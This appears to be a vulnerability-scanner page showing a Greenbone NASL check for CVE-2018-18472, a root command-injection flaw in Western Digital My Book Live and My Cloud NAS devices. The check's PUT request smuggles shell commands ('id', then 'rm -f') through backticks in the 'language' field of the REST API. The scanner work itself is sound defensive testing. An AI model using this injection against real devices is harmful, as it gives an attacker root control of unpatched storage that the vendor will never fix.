CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
94.3%
Western Digital MyBook Live and some models of Western Digital My Cloud NAS
contain a remotely exploitable vulnerability that lets anyone run commands on the device as root. The vulnerability
exists in the language change and modify functionality in the REST API
# Copyright (C) 2018 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.141680");
script_version("2021-07-02T06:34:34+0000");
script_tag(name:"last_modification", value:"2021-07-02 06:34:34 +0000 (Fri, 02 Jul 2021)");
script_tag(name:"creation_date", value:"2018-11-13 13:26:47 +0700 (Tue, 13 Nov 2018)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2021-06-25 10:15:00 +0000 (Fri, 25 Jun 2021)");
script_cve_id("CVE-2018-18472");
script_tag(name:"qod_type", value:"exploit");
script_tag(name:"solution_type", value:"WillNotFix");
script_name("Western Digital My Book Live / My Cloud NAS RCE Vulnerability");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2018 Greenbone Networks GmbH");
script_family("Web application abuses");
script_dependencies("gb_wd_mybook_live_http_detect.nasl", "gb_wd_mycloud_consolidation.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("wd/product/detected");
script_tag(name:"summary", value:"Western Digital MyBook Live and some models of Western Digital My Cloud NAS
contain a remotely exploitable vulnerability that lets anyone run commands on the device as root. The vulnerability
exists in the language change and modify functionality in the REST API");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP PUT request and checks if the 'id' command can be
executed.");
script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
release, disable respective features, remove the product or replace the product by another one.
Note: My Book Live devices originally introduced to the market between 2010 and 2012. These products have been
discontinued since 2014 and are no longer covered under the vendors device software support lifecycle. Therefore
no fix will be provided.");
script_xref(name:"URL", value:"https://www.wizcase.com/blog/hack-2018/");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
# TODO: We currently can't use a mix of cpe:/h:western_digital and cpe:/h:wdc in get_app_port_from_cpe_prefix
# so the list below have been manually filled based on the models available at https://support.wdc.com/cat_products.aspx?ID=1
cpe_list = make_list(
"cpe:/o:western_digital:my_book_live_firmware", "cpe:/o:wdc:my_cloud_unknown_model_firmware",
"cpe:/o:wdc:my_cloud_firmware", "cpe:/o:wdc:wd_cloud_firmware",
"cpe:/o:wdc:my_cloud_mirror_firmware", "cpe:/o:wdc:my_cloud_pr2100_firmware",
"cpe:/o:wdc:my_cloud_pr4100_firmware", "cpe:/o:wdc:my_cloud_ex2ultra_firmware",
"cpe:/o:wdc:my_cloud_ex2_firmware", "cpe:/o:wdc:my_cloud_ex4_firmware",
"cpe:/o:wdc:my_cloud_ex2100_firmware", "cpe:/o:wdc:my_cloud_ex4100_firmware",
"cpe:/o:wdc:my_cloud_dl2100_firmware", "cpe:/o:wdc:my_cloud_dl4100_firmware");
if (!infos = get_app_port_from_list(cpe_list: cpe_list, service:"www"))
exit(0);
port = infos["port"];
cpe = infos["cpe"];
if (!get_app_location(cpe: cpe, port: port, nofork: TRUE))
exit(0);
vt_strings = get_vt_strings();
file = vt_strings["default_rand"] + ".txt";
data = 'language=en_US`id > /var/www/' + file + '`';
url = '/api/1.0/rest/language_configuration';
header = make_array("Content-Type", "application/x-www-form-urlencoded");
req = http_post_put_req(port: port, url: url, data: data, add_headers: header, method:"PUT");
res = http_keepalive_send_recv(port: port, data: req);
req = http_get(port: port, item: "/" + file);
res = http_keepalive_send_recv(port: port, data: req);
if (res =~ 'uid=[0-9]+.*gid=[0-9]+') {
report = 'It was possible to execute the "id" command.\n\nResult:\n' +
egrep(pattern: 'uid=[0-9]+.*gid=[0-9]+.*', string: res);
security_message(port: port, data: report);
# Cleanup
data = 'language=en_US`rm -f /var/www/' + file + '`';
req = http_post_put_req(port: port, url: url, data: data, add_headers: header, method: "PUT");
res = http_keepalive_send_recv(port: port, data: req);
exit(0);
}
exit(99);
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
94.3%